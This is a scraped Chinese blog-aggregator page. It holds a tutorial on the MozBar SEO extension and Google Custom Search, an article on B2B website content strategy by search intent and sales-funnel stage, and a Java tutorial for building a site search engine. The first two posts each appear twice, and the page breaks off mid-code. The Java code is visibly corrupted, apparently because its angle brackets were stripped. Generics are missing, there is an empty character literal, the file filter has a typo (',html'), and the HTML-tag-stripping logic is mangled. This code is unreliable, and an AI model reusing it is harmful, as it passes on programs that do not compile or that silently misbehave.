如果我要找红人做推广,在网上搜到了一系列红人资源后,想排查红人的质量,就可以用到MozBar。
首先搜索我们想让这个红人进行推广的,红人的主页,比如我们想让红人做YouTube的推广,就搜索其YouTube主页。
这个YouTube美妆博主的账号DA高达100,主页的PA达76,说明她的热度非常高,有条件的话完全可以放心找她合作。
同理MozBar也可以用来分析其他站点的质量。
—2—
谷歌自定义搜索引擎
在介绍这个有点烧脑的工具之前,先和大家分享一件趣事。(其实按照我分享的步骤操作并不难掌握)
今天同事咨询我该怎么扒原贴。
他在网页看到这张图,想找原帖,但即使知道这是博主在Facebook发布的帖子,也知道是2019年发布的,甚至连文本内容都知道,可他就是没办法在博主的Facebook主页扒出来这条陈年老帖。
即使设置好了搜索条件,右侧的显示也跟原帖毫不相干。
而我用谷歌自定义搜索引擎来搜索,一下子就找到了这条帖子,而且搜索结果非常精准,就是这一条内容。
1.谷歌自定义搜索引擎是什么
先贴网址:
欢迎大家先来看一下我的的小粉红乞丐版自定义搜索引擎,是不是跟平常我们在谷歌的搜索很不一样?
外观可以自定义,要搜索的内容也可以定向。
分为几个板块,第一个板块是搜索标签;第二个板块是谷歌的广告内容;第三个板块是搜索结果。
如果我想搜索网站内容,就选择Web,如果想搜索图片内容,就选择Image。
我把All results标签设置为包含右边所有标签。
即我用All results标签搜索”小米手机“,就会得到twitter、Facebook、tumblr、 reddit、youtube这几个网站里,所有关于”小米手机“的内容。
当然我也可以根据各个不同标签找。
比如我想搜索twitter里所有关于”小米手机“的帖子,就直接用twitter的标签进行搜索。
是不是很方便!
2.手把手教你设置自定义搜索
a)第一步:新增搜索引擎
以下为设置初步自定义搜索的流程。
打开网址:
点击添加,填写内容,然后点击创建。
创建完成后会显示该界面。
我们先来点击公开网址,如图:
在搜索框我们试着搜索一下最近的东北虎热点事件:
我们看到出来的都是Facebook(twitter也有显示在后面)上关于东北虎的讨论,非常精准。
接着点击修改搜索引擎控制台,如图:
这里大家可以自行设置,但是注意,正常情况下建议打开图片搜索和安全搜索。
b)第二步:修改搜索引擎
这是我之前设置好参数的自定义搜索引擎”测试版“。
左边进行设置的同时,可以在右边看到预设的界面。外观设置就不说了,大家按照自己的喜好去调整。
标签的设置是在”“搜索功能”的“优化一栏。
按照自己的需要添加标签。
比如我想有一个标签专门显示Facebook的内容,我就把标签命名为”Facebook“(或者其他自定义名称),并选择”进搜索具有此标签的网站“。
创建完标签后回到设置栏,下拉。
勾选你要添加进标签的网站(可以勾选多个),选择标签,就完成对标签的设置了。
乞丐版自定义搜索引擎完成。
3.普通搜索 vs 自定义搜索
设置完成后我们可以对比两个搜索引擎进行搜索。
比如我想做小米手机在twitter的市场调研,想知道twitter里关于小米手机的帖子大多在讨论什么内容。
我尝试着在普通谷歌浏览器搜索“小米手机+twitter”。
前五的结果除了第一条是来自推特的标签,剩下的全是来自其它网站。
我用自定义搜索引擎来试试看。
直接在我刚才设置好的搜索引擎里,选择twitter的标签,然后搜索“小米手机”。
除了前面的广告页,直接拉下来,搜索到的全是来自twitter的内容。
直接提高我做市场调查的效率有没有!自定义搜索引擎完胜。
—3—
结语
以上两个工具还有很多功能,感兴趣的朋友完全可以继续摸索。比如谷歌自定义搜索引擎其实也是站长们可以利用起来的好工具。
可以用来给自己的网站做一个导航链接分享出去,甚至可以自定义广告栏,曾经谷歌是收广告费的庄家,现在收广告费的庄家成了你。
而MozBar不仅仅能分析网页/网站质量,还能分析关键字排名、网站SEO强度、SEO分析...这简直就是给你开了外挂,可以用来分析别人网站的流量具体是怎么跑的。
但对于想提高搜索效率的基础玩家,这两款工具的初级玩法也完全够用了。 查看全部
如何一键识别网站质量?如何一秒搜索精准内容?
前者可以帮你快速判断一个网站到底有没有料,提高信息筛选的效率;后者可以帮你快速定位自己要找的信息,即自定义搜索。
毕竟明明只想搜索网站A、B、C的内容,却一直刷到网站D、E、F的链接,是很头疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌浏览器的扩展程序中先安装插件。
下载地址:
这已经是个很出名的老牌搜索引擎优化插件了,可以用来评判网站好坏。
不仅可以用来评估别人的网站、网页质量,也可以用来评估自己的网站表现。
其中有两个值需要注意 :0-100取值,越大越优秀
DA(Domain Authority),网站权重的指标;
PA(Page Authority),网页权重指标。
左上角绿色图标还可以导出网页搜索的相关数据。
2. Mozbar一键识别网站质量
具体用法举个例子吧。
如果我要找红人做推广,在网上搜到了一系列红人资源后,想排查红人的质量,就可以用到MozBar。
首先搜索我们想让这个红人进行推广的,红人的主页,比如我们想让红人做YouTube的推广,就搜索其YouTube主页。
这个YouTube美妆博主的账号DA高达100,主页的PA达76,说明她的热度非常高,有条件的话完全可以放心找她合作。
同理MozBar也可以用来分析其他站点的质量。
—2—
谷歌自定义搜索引擎
在介绍这个有点烧脑的工具之前,先和大家分享一件趣事。(其实按照我分享的步骤操作并不难掌握)
今天同事咨询我该怎么扒原贴。
他在网页看到这张图,想找原帖,但即使知道这是博主在Facebook发布的帖子,也知道是2019年发布的,甚至连文本内容都知道,可他就是没办法在博主的Facebook主页扒出来这条陈年老帖。
即使设置好了搜索条件,右侧的显示也跟原帖毫不相干。
而我用谷歌自定义搜索引擎来搜索,一下子就找到了这条帖子,而且搜索结果非常精准,就是这一条内容。
1.谷歌自定义搜索引擎是什么
先贴网址:
欢迎大家先来看一下我的的小粉红乞丐版自定义搜索引擎,是不是跟平常我们在谷歌的搜索很不一样?
外观可以自定义,要搜索的内容也可以定向。
分为几个板块,第一个板块是搜索标签;第二个板块是谷歌的广告内容;第三个板块是搜索结果。
如果我想搜索网站内容,就选择Web,如果想搜索图片内容,就选择Image。
我把All results标签设置为包含右边所有标签。
即我用All results标签搜索”小米手机“,就会得到twitter、Facebook、tumblr、 reddit、youtube这几个网站里,所有关于”小米手机“的内容。
当然我也可以根据各个不同标签找。
比如我想搜索twitter里所有关于”小米手机“的帖子,就直接用twitter的标签进行搜索。
是不是很方便!
2.手把手教你设置自定义搜索
a)第一步:新增搜索引擎
以下为设置初步自定义搜索的流程。
打开网址:
点击添加,填写内容,然后点击创建。
创建完成后会显示该界面。
我们先来点击公开网址,如图:
在搜索框我们试着搜索一下最近的东北虎热点事件:
我们看到出来的都是Facebook(twitter也有显示在后面)上关于东北虎的讨论,非常精准。
接着点击修改搜索引擎控制台,如图:
这里大家可以自行设置,但是注意,正常情况下建议打开图片搜索和安全搜索。
b)第二步:修改搜索引擎
这是我之前设置好参数的自定义搜索引擎”测试版“。
左边进行设置的同时,可以在右边看到预设的界面。外观设置就不说了,大家按照自己的喜好去调整。
标签的设置是在”“搜索功能”的“优化一栏。
按照自己的需要添加标签。
比如我想有一个标签专门显示Facebook的内容,我就把标签命名为”Facebook“(或者其他自定义名称),并选择”进搜索具有此标签的网站“。
创建完标签后回到设置栏,下拉。
勾选你要添加进标签的网站(可以勾选多个),选择标签,就完成对标签的设置了。
乞丐版自定义搜索引擎完成。
3.普通搜索 vs 自定义搜索
设置完成后我们可以对比两个搜索引擎进行搜索。
比如我想做小米手机在twitter的市场调研,想知道twitter里关于小米手机的帖子大多在讨论什么内容。
我尝试着在普通谷歌浏览器搜索“小米手机+twitter”。
前五的结果除了第一条是来自推特的标签,剩下的全是来自其它网站。
我用自定义搜索引擎来试试看。
直接在我刚才设置好的搜索引擎里,选择twitter的标签,然后搜索“小米手机”。
除了前面的广告页,直接拉下来,搜索到的全是来自twitter的内容。
直接提高我做市场调查的效率有没有!自定义搜索引擎完胜。
—3—
结语
以上两个工具还有很多功能,感兴趣的朋友完全可以继续摸索。比如谷歌自定义搜索引擎其实也是站长们可以利用起来的好工具。
可以用来给自己的网站做一个导航链接分享出去,甚至可以自定义广告栏,曾经谷歌是收广告费的庄家,现在收广告费的庄家成了你。
而MozBar不仅仅能分析网页/网站质量,还能分析关键字排名、网站SEO强度、SEO分析...这简直就是给你开了外挂,可以用来分析别人网站的流量具体是怎么跑的。
但对于想提高搜索效率的基础玩家,这两款工具的初级玩法也完全够用了。
搜索意图和销售漏斗——B2B网站内容部署的指路灯
网站优化 • 优采云 发表了文章 • 0 个评论 • 56 次浏览 • 2022-05-10 05:43
对于B2B企业来说,官方网站的营销运营中是整个品牌营销活动非常重要又比较棘手的部分。而其中网站的内容部署更是一个较为花费精力的环节。
B2B企业网站缺乏内容吗?
显然地,熟悉B2B品牌的营销人员都知道自身不缺乏内容。品牌本身拥有大量的内容形式。品牌故事、产品文案、产品使用手册(大量的PDF文档)、FAQ内容、客户真实评论与反馈、行业资讯和资料等等,这些都是品牌主很容易就可以创建或者现成得到的内容。
因此,对于B2B企业的品牌站来说,内容营销更核心在于如何部署或者释放这些内容到网站中,利用它们来获取流量和提升网站的E-A-T评分。
本文主要从搜索意图和销售漏斗这两个概念出发,利用这两个在SEO和营销学中基础的理念介绍如何在B2B企业的品牌独立站中部署内容。
销售漏斗对于网站内容部署意味着什么?
销售漏斗的概念应该对任何营销人员来说都不陌生,仍然记得这是我当年专业老师必问必考的一个内容。所以它对于指引我们B2B网站的内容部署还是非常重要。
首先我们要重温一下“客户旅程”这个概念。客户(用户)从了解一个品牌,到查询资料,然后形成意见,最后掏钱购买,这是一个完整的客户旅程。
产生意识>确认需求>进行购买>留存选择>口碑传播,贯穿于销售漏斗的始终。对于我们网站内容策略来说,客户旅程和销售漏斗发挥着一个非常重要的指导作用。
根据Ahrefs的一个调研,大部分的B2B企业更加关注销售漏斗中的BOFU环节,即促成购买的环节。
因此在网站的内容部署中,投入大量的精力在和产品购买相关的页面中,如产品目录页、产品详情页或者其他促销页面。对于以询盘或者销售为业绩导向的B2B企业来说,的确是无可厚非的一种操作。
然而,很多时候我们仿佛忘记了当初学习营销时的一个基本理念---用户达成购买,是一个漫长的被攻占心智的过程。对于销售漏斗中的TOFU和MOFU部分的内容,我们忽视了或者不愿意去投入精力,直接无视了在“客户旅程”中处于中间过程的潜在客户。
在我们定立网站内容策略,制定内容部署方针的时候,如果我们发现不知道应该部署什么内容的时候,可以回顾一下销售漏斗中用户在不同的客户旅程阶段,他们所关注的内容是什么。
不同购买漏斗阶段用户关心的内容
处于TOFU部分的用户,大多是刚刚发现自己有这样的需求,并且在网上开始搜索相关资料、品牌等。那么网站中应该有这样的内容来展示品牌在这个领域的专业度,让潜在的客户相信你的品牌作为一个可靠的信息来源。网站中的品牌故事内容、专业背书内容、Ebook(包括白皮书等)以及当前比较流行的短视频、社媒运营、信息图等都可以帮助你的潜在客户加深对品牌的印象,提高他们重新访问网站获取信息的机会或者关注品牌动向。
而进入到MOFU部分内容的用户,他们已经对品牌和行业相关的一些基本概念有一定了解,确定了需求。他们更加想进一步找到满足自己需求的解决方案、和一些技术对比。而我们这个时候应该呈现给用户的是我们的一些技术能力、解决方案策略等内容。
从这个角度出发,我们应该在内容部署中考虑案例、指导性内容、相关研讨会,活动实况、场景应用介绍等。同时配合EDM营销把这些内容推送给在TOFU部分积累的潜在用户。
到了BOFU,我们希望潜在客户进行购买,到达这个阶段的用户应该理解我们呈现的内容,我们需要让他们相信我们的产品、服务确实有能力解决他们的问题。那么我们需要什么内容来推动他们进行购买行为呢?我相信大部分营销人员都对这部分内容较为熟悉。
一个不同版本的对比表格、一份产品或者软件的demo试用、根据不同客户需求呈现的推荐产品、真实的客户反馈以及具体的参数,这些内容都是在BOFU阶段促进用户交易的内容。
B2B网站应该包含所有贯穿销售漏斗阶段的内容
不少B2B 网站的营销人员会不禁发出疑问,以上说的三部分内容,应该怎么去分布。首先,我们明确建议:B2B网站应该呈现包含所有贯穿销售漏斗阶段的内容。
这是因为,我们无法判断,进入我们网站的潜在客户他们处于销售漏斗中哪一个阶段。因此,如果我们网站可以部署满足用户处于不同客户旅程阶段的内容,那么我们网站就可以捕获不同需求客户的流量,各个部分的内容都可以成为网站SEO流量的推进剂,而最终促进销售和询盘的达成。
用户搜索意图的充分分析帮助B2B网站的内容建设
当我们知道为B2B网站创建什么类型的内容后,我们就需要考虑怎么去创建贴合用户需求,为网站带来流量的内容了。这个时候“用户搜索意图”分析就可以帮助到我们制定内容建设的框架了。
什么是用户搜索意图?
顾名思义,搜索意图就是反映潜在客户为什么要这样搜索的原因。一般情况下,在SEO中用户的搜索意图体现在他们通过搜索哪些关键词来获取他们想要的信息。
用户搜索意图对于B2B网站内容部署有什么意义?
了解用户的搜索意图,便于网站的营销人员创建符合用户需求的内容,有利于网站的SEO排名和流量的提升。前文说到,潜在客户处于不同的客户旅程阶段,进入不同的销售漏斗部分,他们所想了解的东西是不一样的。这个时候他们所使用的搜索关键词也会有所差异。
因此当我们分析用户意图后,我们便可以得知他们当前所想了解的信息大多会和哪些主题相关。而我们网站所部署的内容主题也应该和他们相贴合。
用户搜索意图的类型有哪些?
用户的搜索意图类型主要分以下几种:
1、信息类型——用户希望通过搜索,了解某些品牌、产品、服务的基础信息,包括它们的用途、原理等等。通常这类意图的关键词都包含“what is”、“who is”,“Where is”等5W元素。
2、导航类型——用户可能希望访问某个特定的网站或者页面。这个时候,他们会直接搜索某个网站的名称或者品牌名称,如“Facebook”,“Apple official website”。
3、含交易意向的类型——购买意欲较强的用户,他们大多已经处于购买漏斗比较靠后的阶段,这个时候他们所呈现的搜索意图已经非常明显,它们大多会使用含有“buy”,“price”,“cheap”等等和购买、价格比较相关的字眼。
4、商业调查类型——这类搜索意图和含交易意向的类型有些类似。他们已经有很明显的购买意图,而且希望通过调查,找到头部品牌、优惠、reviews、参数对比信息等内容帮助他们进行最后的决策。
当我们知道用户的搜索用词类型会体现以上四种搜索意图的时候,在我们在做内容策划时,进行关键词调研、主题调研就应该总结出一些用词规律,并根据这些词根,推断通过这些词进入到网站的用户大多处于哪个客户旅行阶段,也可以通过已有数据来检查我们网站目前缺乏销售漏斗中哪些内容类型,进而对网站的内容主题进行规划。
各类搜索意图一般情况下会出现的字眼:
如何了解来到网站的用户的搜索意图?
我们知道搜索意图的分类和体现用户搜索意图的关键词词根后,我们应该怎么去了解和分析我们的网站有哪些类型的用户访问了呢?
这个很简单,相关的工具和网站后台就可以帮助我们得到这些信息。
● 内部挖掘:
Google Analytics & Google Search Console
通过Google Analytics和 Google Search Console 中的来源关键词,我们可以看到我们网站在哪些关键词中获得了流量。这些都是用户实打实的搜索意图,并且我们网站内容某程度上满足了他们的搜索意图。
另外我们可以通过GA中查看我们在Google 广告投放中触发广告的关键词,来查看用户的搜索意图。
我们把这些词下载下来,通过前文提及的搜索意图会包含的字眼,进行筛选。这样我们就可以清楚了解到我们网站获得处于哪个客户旅程阶段的用户比较多,哪种搜索意图类型的内容主题我们是比较缺乏的。进而就知道我们应该去拓展和补充哪些类型的内容。
●外部拓展
与此同时,我们也可以根据我们已有的词根,配合用户搜索意图体现的字眼,利用第三方工具来进行内容主题的拓展(关键词拓展)。
Semrush是一个强大的数字营销工具,只需要输入网址,semrush就会快速为网站进行一连串关于SEO、广告、竞争报告以及网站内容和社交媒体情况的各类分析,并给出优化建议。其中它的关键词分析套件可以根据网站或者关键词,提供相关关键词的拓展,搜索量、serp等数据。利用Keyword Magic Tool 工具,配合搜意意图体现常用词。可以轻松帮助我们找到当前用户所关注的内容主题。
结 语
谷歌仍然不断了解用户的搜索意图,并呈现符合用户搜索意图的信息。对于B2B业务来说,达成购买的客户旅程是相比于B2C业务来说是相对较长的,因此其潜在的客户处于销售漏斗不同阶段的数量也是相对会多。我们希望B2B网站可以获得更好的排名表现和流量提升,必须考虑内容一定满足处于各个销售漏斗阶段的用户搜索需求。
深入了解客户,并且回归基本路径是B2B企业网站营销运营、内容运营的康庄大道!
Freedom 肖宝宁
现任环创网络SEO manager;拥有6年海外数字营销经验,思维活跃,勇于创新,擅长社交媒体营销,服务客户包括中国南航、TCL、vivo、GameLoop、米哈游等。
查看全部
搜索意图和销售漏斗——B2B网站内容部署的指路灯
对于B2B企业来说,官方网站的营销运营中是整个品牌营销活动非常重要又比较棘手的部分。而其中网站的内容部署更是一个较为花费精力的环节。
B2B企业网站缺乏内容吗?
显然地,熟悉B2B品牌的营销人员都知道自身不缺乏内容。品牌本身拥有大量的内容形式。品牌故事、产品文案、产品使用手册(大量的PDF文档)、FAQ内容、客户真实评论与反馈、行业资讯和资料等等,这些都是品牌主很容易就可以创建或者现成得到的内容。
因此,对于B2B企业的品牌站来说,内容营销更核心在于如何部署或者释放这些内容到网站中,利用它们来获取流量和提升网站的E-A-T评分。
本文主要从搜索意图和销售漏斗这两个概念出发,利用这两个在SEO和营销学中基础的理念介绍如何在B2B企业的品牌独立站中部署内容。
销售漏斗对于网站内容部署意味着什么?
销售漏斗的概念应该对任何营销人员来说都不陌生,仍然记得这是我当年专业老师必问必考的一个内容。所以它对于指引我们B2B网站的内容部署还是非常重要。
首先我们要重温一下“客户旅程”这个概念。客户(用户)从了解一个品牌,到查询资料,然后形成意见,最后掏钱购买,这是一个完整的客户旅程。
产生意识>确认需求>进行购买>留存选择>口碑传播,贯穿于销售漏斗的始终。对于我们网站内容策略来说,客户旅程和销售漏斗发挥着一个非常重要的指导作用。
根据Ahrefs的一个调研,大部分的B2B企业更加关注销售漏斗中的BOFU环节,即促成购买的环节。
因此在网站的内容部署中,投入大量的精力在和产品购买相关的页面中,如产品目录页、产品详情页或者其他促销页面。对于以询盘或者销售为业绩导向的B2B企业来说,的确是无可厚非的一种操作。
然而,很多时候我们仿佛忘记了当初学习营销时的一个基本理念---用户达成购买,是一个漫长的被攻占心智的过程。对于销售漏斗中的TOFU和MOFU部分的内容,我们忽视了或者不愿意去投入精力,直接无视了在“客户旅程”中处于中间过程的潜在客户。
在我们定立网站内容策略,制定内容部署方针的时候,如果我们发现不知道应该部署什么内容的时候,可以回顾一下销售漏斗中用户在不同的客户旅程阶段,他们所关注的内容是什么。
不同购买漏斗阶段用户关心的内容
处于TOFU部分的用户,大多是刚刚发现自己有这样的需求,并且在网上开始搜索相关资料、品牌等。那么网站中应该有这样的内容来展示品牌在这个领域的专业度,让潜在的客户相信你的品牌作为一个可靠的信息来源。网站中的品牌故事内容、专业背书内容、Ebook(包括白皮书等)以及当前比较流行的短视频、社媒运营、信息图等都可以帮助你的潜在客户加深对品牌的印象,提高他们重新访问网站获取信息的机会或者关注品牌动向。
而进入到MOFU部分内容的用户,他们已经对品牌和行业相关的一些基本概念有一定了解,确定了需求。他们更加想进一步找到满足自己需求的解决方案、和一些技术对比。而我们这个时候应该呈现给用户的是我们的一些技术能力、解决方案策略等内容。
从这个角度出发,我们应该在内容部署中考虑案例、指导性内容、相关研讨会,活动实况、场景应用介绍等。同时配合EDM营销把这些内容推送给在TOFU部分积累的潜在用户。
到了BOFU,我们希望潜在客户进行购买,到达这个阶段的用户应该理解我们呈现的内容,我们需要让他们相信我们的产品、服务确实有能力解决他们的问题。那么我们需要什么内容来推动他们进行购买行为呢?我相信大部分营销人员都对这部分内容较为熟悉。
一个不同版本的对比表格、一份产品或者软件的demo试用、根据不同客户需求呈现的推荐产品、真实的客户反馈以及具体的参数,这些内容都是在BOFU阶段促进用户交易的内容。
B2B网站应该包含所有贯穿销售漏斗阶段的内容
不少B2B 网站的营销人员会不禁发出疑问,以上说的三部分内容,应该怎么去分布。首先,我们明确建议:B2B网站应该呈现包含所有贯穿销售漏斗阶段的内容。
这是因为,我们无法判断,进入我们网站的潜在客户他们处于销售漏斗中哪一个阶段。因此,如果我们网站可以部署满足用户处于不同客户旅程阶段的内容,那么我们网站就可以捕获不同需求客户的流量,各个部分的内容都可以成为网站SEO流量的推进剂,而最终促进销售和询盘的达成。
用户搜索意图的充分分析帮助B2B网站的内容建设
当我们知道为B2B网站创建什么类型的内容后,我们就需要考虑怎么去创建贴合用户需求,为网站带来流量的内容了。这个时候“用户搜索意图”分析就可以帮助到我们制定内容建设的框架了。
什么是用户搜索意图?
顾名思义,搜索意图就是反映潜在客户为什么要这样搜索的原因。一般情况下,在SEO中用户的搜索意图体现在他们通过搜索哪些关键词来获取他们想要的信息。
用户搜索意图对于B2B网站内容部署有什么意义?
了解用户的搜索意图,便于网站的营销人员创建符合用户需求的内容,有利于网站的SEO排名和流量的提升。前文说到,潜在客户处于不同的客户旅程阶段,进入不同的销售漏斗部分,他们所想了解的东西是不一样的。这个时候他们所使用的搜索关键词也会有所差异。
因此当我们分析用户意图后,我们便可以得知他们当前所想了解的信息大多会和哪些主题相关。而我们网站所部署的内容主题也应该和他们相贴合。
用户搜索意图的类型有哪些?
用户的搜索意图类型主要分以下几种:
1、信息类型——用户希望通过搜索,了解某些品牌、产品、服务的基础信息,包括它们的用途、原理等等。通常这类意图的关键词都包含“what is”、“who is”,“Where is”等5W元素。
2、导航类型——用户可能希望访问某个特定的网站或者页面。这个时候,他们会直接搜索某个网站的名称或者品牌名称,如“Facebook”,“Apple official website”。
3、含交易意向的类型——购买意欲较强的用户,他们大多已经处于购买漏斗比较靠后的阶段,这个时候他们所呈现的搜索意图已经非常明显,它们大多会使用含有“buy”,“price”,“cheap”等等和购买、价格比较相关的字眼。
4、商业调查类型——这类搜索意图和含交易意向的类型有些类似。他们已经有很明显的购买意图,而且希望通过调查,找到头部品牌、优惠、reviews、参数对比信息等内容帮助他们进行最后的决策。
当我们知道用户的搜索用词类型会体现以上四种搜索意图的时候,在我们在做内容策划时,进行关键词调研、主题调研就应该总结出一些用词规律,并根据这些词根,推断通过这些词进入到网站的用户大多处于哪个客户旅行阶段,也可以通过已有数据来检查我们网站目前缺乏销售漏斗中哪些内容类型,进而对网站的内容主题进行规划。
各类搜索意图一般情况下会出现的字眼:
如何了解来到网站的用户的搜索意图?
我们知道搜索意图的分类和体现用户搜索意图的关键词词根后,我们应该怎么去了解和分析我们的网站有哪些类型的用户访问了呢?
这个很简单,相关的工具和网站后台就可以帮助我们得到这些信息。
● 内部挖掘:
Google Analytics & Google Search Console
通过Google Analytics和 Google Search Console 中的来源关键词,我们可以看到我们网站在哪些关键词中获得了流量。这些都是用户实打实的搜索意图,并且我们网站内容某程度上满足了他们的搜索意图。
另外我们可以通过GA中查看我们在Google 广告投放中触发广告的关键词,来查看用户的搜索意图。
我们把这些词下载下来,通过前文提及的搜索意图会包含的字眼,进行筛选。这样我们就可以清楚了解到我们网站获得处于哪个客户旅程阶段的用户比较多,哪种搜索意图类型的内容主题我们是比较缺乏的。进而就知道我们应该去拓展和补充哪些类型的内容。
●外部拓展
与此同时,我们也可以根据我们已有的词根,配合用户搜索意图体现的字眼,利用第三方工具来进行内容主题的拓展(关键词拓展)。
Semrush是一个强大的数字营销工具,只需要输入网址,semrush就会快速为网站进行一连串关于SEO、广告、竞争报告以及网站内容和社交媒体情况的各类分析,并给出优化建议。其中它的关键词分析套件可以根据网站或者关键词,提供相关关键词的拓展,搜索量、serp等数据。利用Keyword Magic Tool 工具,配合搜意意图体现常用词。可以轻松帮助我们找到当前用户所关注的内容主题。
结 语
谷歌仍然不断了解用户的搜索意图,并呈现符合用户搜索意图的信息。对于B2B业务来说,达成购买的客户旅程是相比于B2C业务来说是相对较长的,因此其潜在的客户处于销售漏斗不同阶段的数量也是相对会多。我们希望B2B网站可以获得更好的排名表现和流量提升,必须考虑内容一定满足处于各个销售漏斗阶段的用户搜索需求。
深入了解客户,并且回归基本路径是B2B企业网站营销运营、内容运营的康庄大道!
Freedom 肖宝宁
现任环创网络SEO manager;拥有6年海外数字营销经验,思维活跃,勇于创新,擅长社交媒体营销,服务客户包括中国南航、TCL、vivo、GameLoop、米哈游等。
用Java写了一个搜索引擎系统
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-05-07 19:02
前言
咱们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的) 为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到:
所以这是根据名字选技能
倒排索引就是LOL里面谁有剑:
所以这是根据特点选择英雄
二.模块划分
1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
输入:用户的查询词 输出:完整的搜索结果
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。包含了前端和后端。
三. 怎么实现分词
分词的原理:
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else { if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
这个代码就是只是针对末尾为html的文件。下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。具体代码如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
这一模块总的代码块如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 for (File f:fileList){ System.out.println("开始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { 